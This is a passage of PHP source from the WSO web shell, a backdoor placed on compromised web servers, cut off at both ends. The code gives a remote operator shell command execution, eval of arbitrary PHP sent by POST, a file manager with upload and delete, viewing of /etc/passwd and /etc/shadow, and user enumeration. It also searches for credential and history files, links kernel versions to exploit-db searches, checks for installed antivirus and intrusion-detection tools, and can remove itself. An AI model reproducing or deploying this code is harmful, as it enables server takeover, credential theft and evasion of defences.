"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
if(!$color) $color = 'white';
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "\n") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."\n";
}
echo '<br/>';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($temp), "\n", $temp;
exit;
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
), $tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select>&nbsp;";
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
echo strlen($temp), "\n", $temp;
exit;
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
wsoRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='hidden' name='act' value='find'/>
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
